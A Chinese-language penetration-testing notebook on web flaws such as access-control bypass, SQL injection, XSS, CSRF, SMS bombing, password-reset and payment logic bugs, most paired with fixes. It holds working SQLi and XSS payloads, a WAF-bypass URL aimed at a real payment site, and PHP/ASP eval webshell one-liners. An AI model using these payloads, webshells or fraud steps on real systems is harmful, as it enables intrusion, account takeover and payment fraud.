安全滲透測試實戰記錄

1、越權

• 分析可能存在越權的位置：只要對數據庫進行增、刪、改、查詢的情況都可能存在越權。
• 水平、垂直權限問題（橫向越權與縱向越權）：
  • 橫向越權：橫向越權指的是攻擊者嘗試訪問與他擁有相同權限的用戶的資源。
  • 縱向越權：縱向越權指的是一個低級別攻擊者嘗試訪問高級別用戶的資源。
• 所以我們一般在增刪改查、登陸、更新的地方尋找越權漏洞。
• A、請求中不存在參數，只用cookie進行身份驗證，不可越權；
• B、請求中存在參數，並且參數中的某些值可能是辨別信息的唯一值（如employeeID、departmentID、ID等），可能存在越權；越權的原因是參數中的employeeID沒有判斷是否是cookie中用戶所管轄的員工ID

攻擊方法：

• 橫向越權攻擊方法：通過工具修改請求中的某些參數（如id等自增型參數），看是否能獲取其他用戶的信息
• 縱向越權攻擊方法：1、粘貼高權限的鏈接到低權限用戶上訪問；2、攔截低權限用戶的請求或者響應包，修改其中的低權限參數為對應高權限的用戶參數，提交數據。
• 或者在攔包后，換上另一個用戶的sid和cookie，相當於是以另一個用戶的身份操作當前的請求。

解決方案：

1. 在接口層面做權限限制。
2. 可通過建立用戶和可操作資源的綁定關系，用戶對任何資源進行操作時，通過該綁定關系確保該資源是屬於該用戶所有的。

權限策略：

1. 登錄憑證要時刻驗證，不能只在登錄接口處進行登錄驗證，要任何需要登錄權限的地方進行登錄驗證（cookie，ssid，token等）。
2. 用戶操作要進行對應的權限檢查，不能只根據操作參數或鏈接執行功能。
3. Cookie要進行嚴格加密，並與用戶session綁定。
4. 采用“最小權限原則”進行訪問控制。

測試越權技巧：

1. 用 fiddler 先截獲一個小號的訪問目標站點的請求，在 fiddler的 head 標簽下將 cookie 復制出來；
2. 用 Fiddler2 截斷大號的請求，把小號的 cookie 覆蓋大號的 cookie，進行測試。如果改變了大號的數據則說明越權，然后在分析是哪個參數造成的。如果未改變，則說明不存在越權，該功能直接越過。小號的 cookie 一直在剪貼板中的，所以在測其他功能會非常方便。用不了多長時間，即可測試完整個站點下的功能。
   • 這個方法的優點如下（僅適用部分越權）：
     1. 不用去辨別哪個參數是辨別身份的；
     2. 不用兩個賬戶同時去創建數據；
     3. 不用去查看小號 id；
     4. 單瀏覽器即可測試，免去切換瀏覽器的煩惱。

未授權訪問

• 非授權訪問是指：用戶在沒有通過認證授權的情況下，能夠直接訪問需要通過認證才能訪問到的頁面或文本信息。可以嘗試在登錄某網站前台或后台之后，將相關的頁面鏈接復制於其他瀏覽器或其他電腦上進 行訪問，看是否能訪問成功。

2、付費、積分等交易漏洞

• 攻擊方法：通過burp suite等工具將交易請求中的金額、期限、數量等參數改成零或者負數，提交數據，看是否能刷余額或者積分等。

3、SQL注入漏洞

• 漏洞危害描述：Web程序代碼中對於用戶提交的參數未做過濾就直接放到SQL語句中執行，導致參數中的特殊字符打破了SQL語句原有邏輯，黑客可以利用該漏洞執行任意SQL語句，如查詢數據、下載數據、寫入webshell、執行系統命令以及繞過登錄限制等。

攻擊方法：

• 輸入'，如果報錯，說明后台對'進行了處理，這里存在sql注入點。
• 在表單輸入1 or 1=1，探測是否有注入，若沒有，說明可能參數是字符串，繼續輸入1' or '1'='1
• 在表單輸入框中輸入 1' or '1'='1 ，提交表單數據，通過BurpSuite工具查看請求和響應包，是否泄露數據庫信息。
• 大部分時候，web服務器關閉了錯誤回顯，可用盲注判斷是否存在sql注入漏洞，如下：
  • http://www.xxx.com/abc.asp?p=1 and 1=2 sql 命令不成立，結果為空或出錯；
  • http://www.xxx.com/abc.asp?p=1 and 1=1 sql 命令成立，結果正常返回。
  • 兩個測試成功后，可以判斷負載的sql被執行了，說明此處存在sql注入漏洞。
• 也可在post請求的請求體中進行sql注入，比如，通過攔包，將請求體中的json對象攔下，往請求體中的某個參數值中分別添加 ' or 'a'='b ，或者添加 ' or 'a'='a ，若最終的響應結果不同，說明這些sql語句已被執行，此處存在sql注入點。
• 若前端做了輸入限制，則可通過burp suite攔包，修改參數注入。
• 若參數條件中含有限制條件，比如limit等，會對返回結果進行限制。
  • 此時可通過在注入后面加#注釋符來繞過限制后面的限制條件，比如注入 1' or '1'='1'# 這里第一個引號閉合掉原參數的引號，后面的都是閉合的引號，最后加上#注釋掉后面的語句。

常見的sql拼接如下

---

$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

• Java的SQL拼接示例

---

String id = request.getParameter("id");
String sql = "select count(*) from user where id='"+id+"'";

• 將請求中獲取到的id值沒有經過任何的處理，直接拼接到了sql語句中。

修復方法實例（預編譯參數化查詢）：

---

int id = Integer.parseInt(request.getParameter("id"));
String sql = "select count(*) from user where id=?";
PreparedStatement stmt = connect.prepareStatement(sql);
stmt.setInt(1, id);

• 先將獲取到的id值強制轉換成整型，然后預編譯sql語句，最后傳入參數查詢。

防范措施：

1. 對進入數據庫的特殊字符（’”<>&*;等）進行嚴格的轉義或編碼轉換和過濾
2. 所有的查詢語句都使用數據庫提供的參數化查詢接口，參數化的語句使用參數而不是將用戶輸入變量嵌入到SQL語句中。當前幾乎所有的數據庫系統都提供了參數化SQL語句執行接口，使用此接口可以非常有效的防止SQL注入攻擊。即先對語法進行預處理，再傳參數，參數不會拼到sql，都只當作值來處理。
3. 確認每種數據的類型，比如數字型的數據就必須是數字，數據庫中的存儲字段必須對應為int型。
4. 數據長度應該嚴格規定，能在一定程度上防止比較長的SQL注入語句無法正確執行。
5. 網站每個數據層的編碼統一，建議全部使用UTF-8編碼，上下層編碼不一致有可能導致一些過濾模型被繞過。
6. 嚴格限制網站用戶的數據庫的操作權限，給此用戶提供僅僅能夠滿足其工作的權限，從而最大限度的減少注入攻擊對數據庫的危害。
7. 避免網站顯示SQL錯誤信息，比如類型錯誤、字段不匹配等，防止攻擊者利用這些錯誤信息進行一些判斷。
8. 綁定參數的形式，先將傳入的參數轉成字符串或其他類型，然后再傳給sql語句（MySQL），如下

---

<?php  
$times = 0;  
$username = "aaa";  
$pwd = "fdsafda' or '1'='1";  
$sql = "SELECT * FROM table WHERE username = ? AND pwd = ?";  
bindParam($sql, 1, $username, 'STRING');  //以字符串的形式.在第一個問號的地方綁定$username這個變量  
bindParam($sql, 2, $pwd, 'STRING');       //以字符串的形式.在第二個問號的地方綁定$pwd這個變量  
echo $sql; //輸出  SELECT * FROM table WHERE username = 'aaa' AND pwd = 'fdsafda\' or \'1\'=\'1'  
?>

• 可以看到，pwd內部的注入已經被轉義，當成一個完整的字符串了，這樣的話，就不可能被注入。

4、存儲型跨站腳本漏洞（XSS）

• 存儲型Xss就是將用戶輸入的數據“存”到服務器（或者數據庫中），這種Xss具有很強的穩定性。這樣不但當前用戶會看到這段xss攻擊，其他用戶登錄時，這段惡意的腳本也會被執行，彈出xss攻擊。只要沒刪除，這個xss攻擊就會永遠存在。

xss測試技巧：

• 首先找疑似點（多猜測聯想），可以在提交請求時，在各種參數里寫入payload，看響應的頁面里哪些點包含payload內容；然后看系統是怎么對payload做處理的，payload輸出在哪個標簽里，然后再有針對性的構造；注意觀察參數，哪些參數是通過獲取url的參數值或者頁面輸入值，然后放到頁面來呈現的
• 一般輸出位置分三類，在引號內的先閉合引號；在標簽外的先閉合標簽；在<script>里的先換行。
• 將 payload 作為用戶輸入參數提交測試，這些 payload 的目的是閉合 html 的標簽，使瀏覽器彈窗。若服務器對請求參數沒有過濾處理，即直接彈窗，那么包含有惡意代碼的響應信息被瀏覽器直接解析執行，由此觸發 XSS 漏洞，且誤報率很低。

xss攻擊方法：

• 表單輸入框輸入 <script>alert(/darkknight/)</script> 並提交。
• 也可輸入 <script>alert('XSS')</script> 或則 "><script>alert('XSS')</script><" 根據源碼調整，將原來的源碼閉合，然后嵌入自己的代碼。
• 結合存儲型或者反射型XSS進行CSRF攻擊
  • 我們也可以結合存儲型XSS漏洞進行攻擊，將CSRF代碼寫入XSS注入點中，如下：
    <script src="http://localhost/DVWA/vulnerabilities/csrf/?password_new=888888&password_conf=888888&Change=Change#">alert(/darkknight/)</script>
  • 用戶一旦訪問該站點，就會在不知不覺中執行我們的惡意代碼，被修改密碼，這種方式同樣是更加具有隱蔽性，不會出現密碼修改界面。
• 在用burp suite工具測試xss或者手工測試xss時，可以先用萬能通用攻擊載荷：'"()<ScRiPt >lQtZ(9064)</ScRiPt> 作為payload，看響應信息或者頁面中，哪些地方含有payload里的相關內容，則哪些地方就存在有xss漏洞。而實際攻擊中，這樣的payload可能還不能使script標簽成立，需要閉合了引號以后還要閉合掉尖括號等等，script標簽才成立，
  • 比如進一步構造腳本攻擊： "><ScRiPt >alert(1)</ScRiPt>--
  • 這樣是閉合了引號和尖括號，然后注釋掉script后面部分
• 這個標簽 <input type="hidden" id="locale" name="locale" value="zh_CN"> 用通用攻擊載荷注入后的效果如下：攻擊載荷為 http://ip/index.jsp?locale = zh_CN '"()<ScRiPt >lQtZ(9064)</ScRiPt>

第二個構造例子

• 構造如下數據：

    ' onclick=alert(/xss/) // 
  

輸入之后，頁面代碼變成了：
<a href='' onclick=alert(/xss/) //' >testLink</a>
首先一個單引號閉合掉href的第一個單引號，然后插入一個onclick事件，最后在用注釋符"//"注釋掉第二個單引號。

第三個例子：

• 在第一個input框中，輸入："><!--
• 在第二個input框中，輸入：--><script>alert(/xss/);</script>
• 最終的效果是：

---

<input id=1 type="text" value=""><!-- />
xxxxx
<input id=2 type="text" value="--><script>alert(/xss/);</script>" />

• 中間的代碼全部被 注釋掉了。

5、反射型XSS

• 反射型Xss就是簡單的把用戶輸入的數據“反射”給瀏覽器（直接拿用戶輸入的數據呈現給瀏覽器），也可以想成是將url中get請求過來的值反射在瀏覽器里，（即直接將用戶輸入的內容嵌入到了原HTML標簽里面，破壞了HTML標簽的原有結構，但只會被觸發一次，后續若沒有再惡意的輸入js腳本，則不會被觸發，即在用戶下次登錄時，此xss不會存在，需重新注入）所以，攻擊者往往需要將這個頁面誘使用戶打開這個惡意鏈接，才能使得攻擊成功，所以，反射型Xss也叫做“非持久型Xss”。（有些瀏覽器本身有針對反射型xss的防護策略，並默認開啟）

攻擊方法：

	http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=apitest%0D%0AX-XSS-Protection:0%0D%0A%3Cscript%3Ealert(/darkknight/)%3C/script%3E

• 其中，用 X-XSS-Protection:0 關閉瀏覽器的 XSS 過濾，%0D%0A表示&，后面的js腳本轉碼之前如下：

    http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=apitest%0D%0AX-XSS-Protection:0%0D%0A<script>alert(/darkknight/)</script>
  

• 如下，也可以注入成功，加入一個關閉瀏覽器的xss過濾參數即可。

    http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=<script>alert(/darkknight/)</script> %0D%0AX-XSS-Protection:0
  

• 注入成功與否，還與瀏覽器的版本有關（ 谷歌78.0.3904.97（正式版本） （64 位）注入成功）

• 繞過waf攔截策略的腳本設計，如下

---

https://wx.tenpay.com/cgi-bin/mmpayweb-bin/balanceuserrollbatch?exportkey=&pass
_ticket=a%0D%0AContent-Length:120%0D%0AX-XSS-Protection:0%0D%0AContent-Type:tex
t/html;%20charset=ISO-2022-JP%0D%0A%0D%0A%3Cimg%20src=x%20on%1B%28Jerror=%22al%
1B%28Jert%28document.co%1B%28Jokie%29%22%3E

腳本中加入Content-Length、Content-Type:text/html;%20charset=ISO-2022-JP即可

Java防護實例：

response.getOutputStream().write(("Hello "+StringEscapeUtils.escapeHtml4(request.getParameter("name"))).getBytes());

• 以上是將獲取到的name值先進行轉義。

XSS防范措施：

1. 對前端輸入進行限制：
   • 比如只允許輸入指定類型的字符，比如電話號格式，注冊用戶名限制等，對輸入內容進行長度限制，輸入檢查需要在服務器端完成，在前端完成的限制是容易繞過的；
2. 過濾一些危險字符，以及轉義& < > " ' /等危險字符
3. HTTP-only Cookie: 禁止 JavaScript 讀取某些敏感 Cookie，攻擊者完成 XSS 注入后也無法竊取此Cookie。
4. 設置CSP(Content Security Policy)
5. 不要僅僅在客戶端做數據的驗證與過濾，關鍵的過濾步驟在服務端進行。
6. 對輸出的數據也要檢查，數據庫里的值有可能會在一個大網站的多處都有輸出，即使在輸入做了編碼等操作，在各處的輸出點時也要進行安全檢查。

6、CSRF攻擊

• 在獲取的請求上，用burp suite的Engagement tool--》Generate CSRF PoC，可生成一個針對當前請求的CSRF攻擊模型。

攻擊方法：

1. 保留referer頭部和修改值為與其他域名的值
2. 保留referer頭部，但值設置為空
3. 去掉referer頭部和值（經常用此方法繞過CSRF）

防護策略：

• 增強對請求中的referer校驗和token校驗機制

7、一句話木馬：

---

php：<?php @eval($_POST['chopper']);?>
asp:<%eval request("chopper")%>
asp.net:<%@Page Language="Jscript"%><%Request.Item["chopper"],"unsafe;"%>

8、目錄遍歷：

• 目錄遍歷，其實是拿../來猜測相對於當前URL的路徑，URL本質上就是程序系統的某個根目錄。

9、敏感目錄泄露

• WEB-INF/web.xml泄露
  • WEB-INF是Java的WEB應用的安全目錄。如果想在頁面中直接訪問其中的文件，必須通過web.xml文件對要訪問的文件進行相應映射才能訪問

---

/WEB-INF/config/jdbc.properties
/WEB-INF/web.xml
/WEB-INF/classes/
/WEB-INF/lib/
/WEB-INF/src/
/WEB-INF/database.properties

10、burp suite的Comparer工具使用

• 將需要比較的兩個內容發送到Comparer，然后點擊第一條內容，點擊Workds，即可看到比較的效果。
  
  

11、增加或者修改上傳文件

• 使用burp可以直接完成上傳文件的功能，通過右鍵選擇paste from file即可。
• 如下，通過burp suite攔包，然后在當前請求中增加上傳文件或者修改上傳文件，然后提交請求。
  
• paste from file這個功能允許你選擇一個文件，並把文件里的內容粘貼到消息里。這個對二進制數據來說是很方便的，要是通過粘貼板來復制會帶來一些問題。粘貼操作會替換掉被選中的內容，如果沒有內容被選中，則在光標位置插入這些內容。

12、支付漏洞的思路

1、修改支付狀態

• 就比如在購買一個產品的時候，目標程序用a來判斷是否有支付，比如a的值是1時，說明支付成功，a的值為2時，說明支付失敗，那我們可否來修改a的值來修改支付狀態呢~

2、修改支付價格

• 在支付當中，購買商品一般分為三步驟：訂購、確認信息、付款。
• 那么這個修改價格具體是修改哪一步時的價格呢？在我看來，你可以在這三個步驟當中的隨便一個步驟進行修改價格測試，如果前面兩步有驗證機制，那么你可在最后一步付款時進行抓包嘗試修改金額，如果沒有在最后一步做好檢驗，那么問題就會存在，其修改的金額值你可以嘗試小數目或者嘗試負數
  比如某產品200元，我們可以來利用一下運費價格來抵消一下產品原件，就是通過抓包來修改運費為-190元，看能否成功。
• 防御措施：
  • 發送支付請求前，先根據目前的訂單ID，訂單金額等生成復雜的哈希值；在發送完支付請求后，服務器在處理支付請求前，服務器根據當前數據包內的金額再次生成哈希值， 與第一次生成的哈希值做匹配，匹配成功，訂單生效；匹配失敗，訂單失效。
  • 還有一個保障就是在大於某金額的時候，轉成人工服務，這樣可以一定的保障了意外的發送。
    在處理支付請求前，服務器先判斷商品價值，小於某個金額，訂單生效（也可在生效前對比下哈希值）；大於某個金額時，則轉人工審核，人工查看流水賬，收到款項了，則訂單生效；未收到款項，則訂單失效。

3、修改支付接口

• 什么是支付接口呢，比如像一些百度錢包支付，微信支付，支付寶支付的都是支付接口
• 在不同的支付接口，他們的值都可能不一樣，如果邏輯設計不當，當我隨便選擇一個點擊支付時進行抓包，然后修改其支付接口為一個不存在的接口，如果沒做好不存在接口相關處理，那么此時就會支付成功。

4、修改一些福利的金額

• 在一般情況下，我們第一次注冊某商場會員的時候，是可以領取什么5元優惠卷、10元優惠卷、20元優惠卷等等，我們是否可嘗試一下修改支付卷的價格呢，比如20元的產品規定了只能使用5元的優惠卷，我們是否可以抓包修改將優惠價格變成19或15勒。

5、修改支付ID值

• 比如商城里有2個產品，a產品的價格為100元id為1，b產品的價格為200元id為2，我們是否可以在購買b產品的時候將b產品的id改成a產品的id呢，這樣子是不是就可以支付100元就可以購買b產品了，這樣子的思路可能可以放在積分兌換處使用~。
• 比如在一個服務器購買網站，他們的硬盤是按G來算的，就好像1G只要1元(假設)，2G只要2元，以此類推，比如那個服務器總共需要200元，我們是否可以修改G的數量來減少支付價格呢，比如我們把G改成-19，看結果是否少了190元(19*10=190)，如果少了，此時我們就只需要支付10元(200元-190元=10元)了。

6、重復支付

• 比如一些商場中有一些試用卡之類的，通過某種渠道獲得的(比如簽到，分享網站信息，購買某個商品送來的)，當我們試用的時候主動取消試用，那么這個時候試用卡可能會返回到我們賬戶中，這里的問題就是如果沒有進行對訂單多重提交的校驗，那么就可導致無限制刷牌子。
• 比如，我在試用某個產品的時候，每次試用都會產生一個訂單號，然后利用剛抓到的數據包進行批量提交，你就可以看到每次提交的訂單號不一樣，然后這時你再看訂單可以看到同一個商品的無數訂單，但試用牌子數只扣了你第一個試驗時的牌子數，那么這時你申請批量退出試用，那么這么多訂單，每退一個就會退相應的牌子數量到賬戶當中，這就構成了無限制刷得問題。

7、最低支付價格

• 在很多時候，我們都忽略了一個問題，那就是在購買一件商品的時候，我們都喜歡修改成0.01或者負數，但是這里是有一個積分的，就是比如我們在購買1元產品的時候可以獲得100積分，但是我們如果將金額數小於1元的話積分就肯定是為空的了，因為這里的積分是按100/元來算的，也就是說，如果我們看到購買xx元有送積分的，我們可以來嘗試一下把金額數改成積分最低數，就比如1元。

8、多線程並發

• 比如我們在某網站，他們用的是自家的錢包(迷你錢包),這個錢包作用也僅是用於這一個站，在提現時，沒有任何驗證碼或者校驗機制，只要輸入體現金額就可以提現，並且是秒到賬，如果什么負數，修改金額都測試過了都不行，那么你就可以試試多線程並發問題,提現時抓包，比如我現在錢包內有0.1元，那么按理說每提0.01可以提現10次，也就是發送10次進程，但是利用這個問題可以達到多發現幾次成功的進程，提現時抓包，然后把數據包發送到BurpSuite工具的Intruder當中，進行批量發送18次，然后可以看到成功的提現到了12次。

9、越權支付

• 比如我們在購買某產品的時候，支付時會出現當前用戶的ID，如果沒有加以驗證，其支付也是一次性支付沒有要求輸入密碼什么的機制，那么就可以修改這個用戶ID為其它用戶ID，達到用其他用戶的賬號進行支付你的商品。
• 防護策略：
  • 支付功能一定要使用嚴格的簽名算法，避免任何參數的修改。

10、加減法

• 比如a產品為999元，當我們購買的時候我們可以試試修改數量成-1個，看是否有變成-999元，我們點擊支付一下，一般來說，都可能支付失敗的，因為這個時候服務器驗證了這個價格是否和服務器中對應的價格是否一樣，此時我們可以將-999元的產品放到購物車，再去此網站購買一個1000元產品的購物車，然后我們可以來點擊購買，可以看到支付價格就變成了1元(1000+(-999)=1)了,下面有案例。

11、最大數限制突破

• 漏洞利用描述：很多商品限制用戶購買數量時，服務器僅在頁面通過js腳本限制，未在服務器端校驗用戶提交的數量，通過抓包修改商品最大數限制，將請求中的商品數量改為大於最大數限制的值，查看能否以修改后的數量完成業務流程。

13、短信轟炸

• 短信轟炸存在於用戶注冊、忘記密碼等有短信驗證碼發送的地方。

攻擊方法：

• 通過burp suite抓取發送短信驗證碼的請求，然后將其發送到Repeater中進行重放多次，看是否能正常發出短信驗證碼，如下；
  
  重放成功，並發出了驗證碼
• 轟炸時，可放在intruder（在上面的Repeater界面，發送該請求到intruder）中，進行多線程並發重放，形成轟炸，如下，可不添加任何攻擊載荷，多線程無限重放該請求，形成轟炸攻擊。
  
  
  • 在日志中可看到轟炸效果：
    
• 漏洞利用方法2：
  • 選擇intruder，在一個不會影響報文結果的位置隨意添加一個參數$1$或者選某個值作為載荷，如下。
    
  • 然后在payload選項里面添加numbers型payload，從1到N，N為想要重放的次數，即可放心一直重放，如下。
    
    重放成功的請求，一樣會顯示200的狀態碼

防御措施：

1. 在發送驗證碼的時候與圖片驗證碼結合用，圖片驗證碼通過，才允許往手機發送短信；或者圖片驗證碼通過，才允許使用發送驗證碼按鈕。
2. 后台對發送頻率進行限制，多久才能發送一次。

14、短信及驗證碼邏輯漏洞

邏輯漏洞任意用戶密碼找回：

• 在找回密碼過程中，嘗試將綁定手機號或郵箱改成自己的，接收驗證碼。

邏輯漏洞將驗證短信發送至非綁定手機：

• 在發送驗證碼過程中，嘗試將當前手機號改成自己的手機號，用來接收驗證碼。

邏輯漏洞綁定他人手機號：

• 在綁定手機號時，攔截發送驗證碼的包，將當前的手機號改成自己的手機號，接收驗證碼，完成綁定他人手機號的操作。

短信接口調用訪問或權限限制：

• 若接口調用沒有做訪問或者權限限制，則可直接用瀏覽器調用該短信接口測試，url輸入http:// /域名/xx?tophone=<手機號碼>&message=<短信內容>。
  發現短信發送成功，這樣存在的風險是：可以任意調用短信接口，給任意手機號碼發送大量的短信。
• 防護策略：
  • 增加IP訪問限制，只允許特定的IP調用該短信接口，（一般是只允許內部機器的IP調用），其他的IP禁止調用（如在iplimit.cf配置文件中設置），被拒絕時，會輸出以下信息：
    Access rejected by ip: 192.168.xxx.xxx

15、短信驗證碼暴力猜解

攻擊步驟：

• 用burp suite攔截任意手機號碼發送驗證碼的請求，並將請求發送到intruder中，清空默認的§，然后在需要破解的字段值上添加§，如下：
  
• 在攻擊載荷下，選中攻擊載荷類型為暴力破解，如下
  
• 然后點擊開始攻擊，成功破解后，會顯示狀態碼為200，如下，破解出了驗證碼
  
• 最后將該驗證碼輸入到需要驗證碼的輸入框中，發現綁定成功。

防護策略：

• 建議限制短信驗證碼錯誤次數。

16、驗證碼時間、次數測試（重復提交數據包）

• 抓取攜帶驗證碼的數據包不斷重復提交，例如：在投訴建議處輸入要投訴的內容信息，及驗 證碼參數，此時抓包重復提交數據包，查看歷史投訴中是否存在重復提交的參數信息。

17、驗證碼繞過測試

• 當第一步向第二步跳轉時，抓取數據包，對驗證碼進行篡改清空測試（或者去掉驗證碼參數字段）， 驗證該步驟驗證碼是否可以繞過。

18、驗證碼 js 繞過

• 通過禁用js，以阻止其跳轉，看是否能繞過js形式的驗證碼頁面。
  

19、用戶注冊邏輯漏洞防護

• 直接輸入用戶名和密碼即可完成注冊的，說明此處存在邏輯漏洞。
• 要么使用短信或郵箱進行驗證，要么存在難以識別的驗證碼，使得注冊的請求無法批量提交。
  無限惡意注冊的漏洞。

注冊覆蓋

• 在注冊用戶時,如果先輸入用戶名，在鼠標離開后會進行用戶名是否存在的校驗，但是如果把用戶名留着最后輸入，比如輸入一個已有的用戶名 admin，在鼠標離開輸入框並點擊提交按鈕后，雖然也會進行用戶名是否存在的校驗，但表單仍然提交上去了，這時候，我們會發現我們已經以 admin 的用戶登錄進來了，這時候用戶的密碼被改為我們之前填寫的密碼，但原用戶的所有信息卻沒有改變，也就是說這時候我們獲取了用戶的信息，姓名、身份證、手機號等等。

攻擊方法：

• 在注冊時，把用戶名留在最后填寫，最后填寫已存在的用戶名，然后提交，看能否提交成功，提交成功后，是否已把已存在的用戶名的密碼覆蓋成了新注冊的密碼。

修復建議：

• 加強后台的校驗，待校驗全部通過后，再受理請求。

20、重置密碼漏洞攻擊（任意用戶密碼重置）

• 在重置密碼的地方，通過burp suite抓包，將重置密碼時的手機號和新輸入的密碼攔截下來，修改請求包里的手機號。發現可以把別的手機號的密碼修改成功。
• 因為這個請求將手機號碼放到了數據包里，並且沒有二次驗證，從而導致了這次攻擊的發送。
• 第二種攻擊方法：觀察重置密碼過程中所產生的用戶數據，看能否找到唯一標識用戶身份的信息，比如Uid之類，再次修改密碼時，將該用戶的唯一標識身份的信息，比如Uid，替換成另一個用戶的標識信息（Uid），並提交，看是否能把另一個用戶的密碼重置成功。

修復建議：

• 在重置過程中，每個步驟都必須要驗證用戶身份的合法性。

21、密碼找回漏洞

1. 驗證碼泄露
   • 輸入驗證碼、要找回的賬號和手機號，點擊“獲取驗證碼”，同時攔截抓包，然后就可以在返回包中看到要認證的驗證碼，這樣不用得到用戶的手機，也能得到他的驗證碼，再輸入密碼即可找回。
2. 驗證碼的認證繞過
   • 以某網站為例，在密碼找回界面，輸入用戶名和密碼，點擊獲取驗證碼，然后驗證碼隨便輸，然后點擊下一步，攔截響應包，將響應包中的status改為0，然后就可以進入密碼修改界面
   • 另外也存在替換手機號的情況，及將驗證碼發送到你替換的手機上，而找回的密碼還是原來的賬號。
   • 驗證碼防護策略如下：
     • 驗證碼至少是6位數字，且有時間限制、獲取次數限制和錯誤次數限制。
     • 驗證碼的驗證要放到服務端執行，不能將驗證碼返回到前端。
     • 若只能放到前端，必須采取加密策略。
     • 多步校驗，比如找回密碼第一步驗證了，最后一步提交時也要驗證。
3. 郵箱弱token
   • 有時候密碼找回是通過郵箱鏈接來實現的，鏈接里一般會有一個與賬號綁定的具有唯一性的認證參數，若這個參數能夠被猜解就會產生問題，猜測一下此處的流程，用戶取回密碼時，產生一個精確的時間戳，與帳號綁定，記錄在某個密碼重置庫內，那么修改這個用戶密碼必須得知道這個時間戳才可以，看似合理，但程序員忽略了一個細節，就是假如這個時間戳是新生成得，在一定時間段內進行暴力猜解，很快就可以獲取到這個有效得鏈接！
   • 防護策略：
     • 郵箱找回密碼的功能，其認證參數要唯一且不可預測，盡量減少不必要的參數
4. 越權修改
   • 越權修改是指在密碼找回的過程中將正在找回密碼的賬號替換為指定的賬號並修改密碼；即用自己的賬號來修改密碼，然后通過攔包，將請求包中的賬號改成別人的賬號（loginid，userid之類），看是否能將別人賬號的密碼修改成功。

22、密保問題答案泄露

• 查看源代碼相應的隱藏表單（置灰的那部分代碼）里，是否泄露出了密保問題的答案。

23、刪除密保問題繞過

• 攻擊方法：郵件系統取回密碼功能設計邏輯錯誤，存在認證繞過漏洞，通過抓取數據包可修改報文，將找回問題答案參數刪除后，直接進行對密碼更改；（即在忘記密碼找回時，選擇通過密保問題找回，然后輸入新密碼，在提交修改密碼的請求時，攔包，將請求包中的密碼問題答案包括參數整個刪除，然后再提交，看是否能重置成功。）
• 修復建議：
  • 在處理重置密碼的請求前，要驗證關鍵參數的完整性，若缺乏某些關鍵參數，則拒絕請求。

24、找回密碼的響應信息中泄露敏感信息

• 找回密碼時，輸入一些已知信息，比如用戶名，查看響應，看響應信息中是否含有該用戶的敏感信息（比如用戶綁定的手機號，可能已加密，可解密處理），在輸入手機號后，再獲取驗證碼，並攔截該獲取驗證碼的響應，檢查響應信息中是否含有敏感信息（比如驗證碼，可能已加密處理，可解密），可能有些時候短信驗證碼加密后返回給了瀏覽器，這樣即使不通過手機，也可獲取驗證碼，危害極大。
• 防護策略：
  • 不要把敏感數據返回給瀏覽器。

25、手機號碼與賬號綁定漏洞

• 攻擊方法：在找回密碼的過程中，先用自己的手機號碼獲取短信驗證碼，然后用該驗證碼設置新密碼，在提交重置密碼的請求前，先觀察下當前填寫新密碼界面的表單源碼（很可能是在隱藏表單部分），看該表單中是否有該用戶的手機號信息，若有，則將它修改成其他目標用戶的手機號，然后再發起重置密碼的請求，看是否能重置與目標手機號綁定的賬號的密碼。
• 攻擊方法二：也可觀察重置請求中的請求包和響應包中是否有手機號，能否修改利用。
• 修復建議：服務器端驗證用戶提交（驗證目前提交的手機號與之前用戶綁定的手機號是否一致），對用戶增加隨機值綁定。

26、賬號與郵箱賬號綁定漏洞

• 攻擊方法：在通過郵箱找回密碼時，攔截發送修改密碼郵件鏈接的請求，將請求中的郵箱賬號改成自己的郵箱賬號，來接收改密郵件，看是否能重置密碼成功。（有可能報文中的郵箱賬號已經過md5加密、sha1加密等等，通過猜測，將自己的郵箱賬號也進行對應的加密，然后換進去即可，多次嘗試。）

27、找回步驟跳過漏洞

• 攻擊方法：在找回密碼時，通過攔包，修改步驟參數，跳過驗證步驟、找回方式，直接到設置新密碼頁面；（比如，輸入用戶名后，攔包，然后將其中的步驟參數step改為4，看是否能成功跳過前面的操作步驟。）注意序號的參數，可能是注入點

28、繞過驗證碼

• 在本地驗證服務器的返回信息，確定是否執行重置密碼，但是其返回信息是可控的內容，或者可以得到的內容。
• 攻擊方法：輸入綁定的手機號，獲取驗證碼后，隨便輸入一個驗證碼，在提交確認的時候，攔截響應，修改響應中的信息為確認通過后請求重置密碼的信息，然后輸入新密碼，提交后，密碼即可重置成功。如下，修改驗證碼錯誤的響應
  • {"flag":-4,"msg":"\u9a8c\u8bc1\u7801\u4e0d\u6b63\u786e"}
  • 為驗證碼正確后，請求重置密碼的響應信息：
  • {"flag":1,"msg":"?q=user\/resetPass&username=&type=1&sign=e9fb209c9416fb0312980c47c4537f0b"}
  • 這樣即可繞過重置驗證碼的頁面校驗。

29、偷換手機號獲取驗證碼

• 發送短信等驗證信息的動作在本地進行（即直接在本地校驗驗證方式，並發出驗證碼），可以通過修改返回包進行控制。
• 攻擊方法：對比重置密碼成功和重置密碼失敗的響應包的區別，然后輸入一個賬號重置密碼，攔截響應包，將響應包中的驗證類型的字段值，改成手機號驗證的字段值，在相應的字段填上自己的手機號，然后去掉郵箱驗證字段的值，即把郵箱驗證改成手機號驗證，繼續提交，這樣即可獲取手機驗證碼並重置密碼了。
  

30、找回密碼相關輸入框有SQL注入

31、Session覆蓋繞過郵箱鏈接驗證，重置任意用戶密碼

• 攻擊方法：先用自己的賬號，通過忘記密碼，發送找回密碼的鏈接到自己的郵箱，打開郵件，但先不要點開找回密碼的郵件鏈接，也不再進行后續的找回密碼操作；然后在同瀏覽器內打開網站並進行忘記密碼操作，輸入要修改的賬號，到了要發送 找回密碼郵件 那步時，停住，不再發送郵件，而是在同一瀏覽器中，打開前一個賬號發出來的找回密碼的郵箱鏈接（看上一次未使用的，且在有效時間內的鏈接，是否對本次的找回密碼操作有效），若有效，則會跳轉到重置密碼的界面，在同一瀏覽器輸入新密碼，重置密碼成功！

32、登錄限制繞過,驗證碼不會失效

• 登錄的時候，請求重發，驗證碼不會失效
• 密碼錯誤，會有登錄次數限制，但是修改請求頭中的X-Forwarded-for中的ip，改成其他ip，就可以重新計算登錄錯誤次數。

防護策略：

1. 登錄ip不從X-Forwarded-for獲取
2. 每次請求后，不管登錄成功還是失敗，驗證碼都從session中清空，然后重置

33、登錄繞過漏洞

